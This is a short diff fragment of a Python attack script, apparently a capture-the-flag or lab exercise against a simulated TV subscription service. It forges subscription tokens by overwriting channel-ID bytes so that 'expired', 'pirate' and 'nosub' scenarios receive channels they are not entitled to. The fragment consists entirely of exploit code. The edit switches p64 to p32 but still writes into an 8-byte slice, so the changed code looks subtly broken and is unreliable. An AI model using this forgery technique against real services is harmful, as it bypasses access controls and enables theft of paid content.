66
77from loguru import logger
88
9- from attack_utils import LimitedAttackTV , conn , p64 , run_attack
9+ from attack_utils import LimitedAttackTV , conn , p32 , run_attack
1010
1111logger .remove ()
1212logger .add (sys .stdout , level = "INFO" )
1313
1414
1515def forge_channel (subscription , channel , new_channel_id ):
1616 channel_id , _ , _ = channel
17- offset = subscription .index (p64 (channel_id ))
17+ offset = subscription .index (p32 (channel_id ))
1818 print (f"found offset { offset } " )
1919
2020 new_subscription = bytearray (subscription )
21- new_subscription [offset : offset + 8 ] = p64 (new_channel_id )
21+ new_subscription [offset : offset + 8 ] = p32 (new_channel_id )
2222
2323 return new_subscription
2424
@@ -37,7 +37,7 @@ async def main():
3737 r .subscribe (forge_channel (channel_1_sub , channel_1 , 3 ))
3838 r .subscribe (forge_channel (channel_1_sub , channel_1 , 4 ))
3939 except ValueError :
40- print ("couldn't find timestamp offset" )
40+ print ("couldn't find channel offset" )
4141 return
4242
4343 for channel , scenario in [(2 , "expired" ), (3 , "pirate" ), (4 , "nosub" )]:
0 commit comments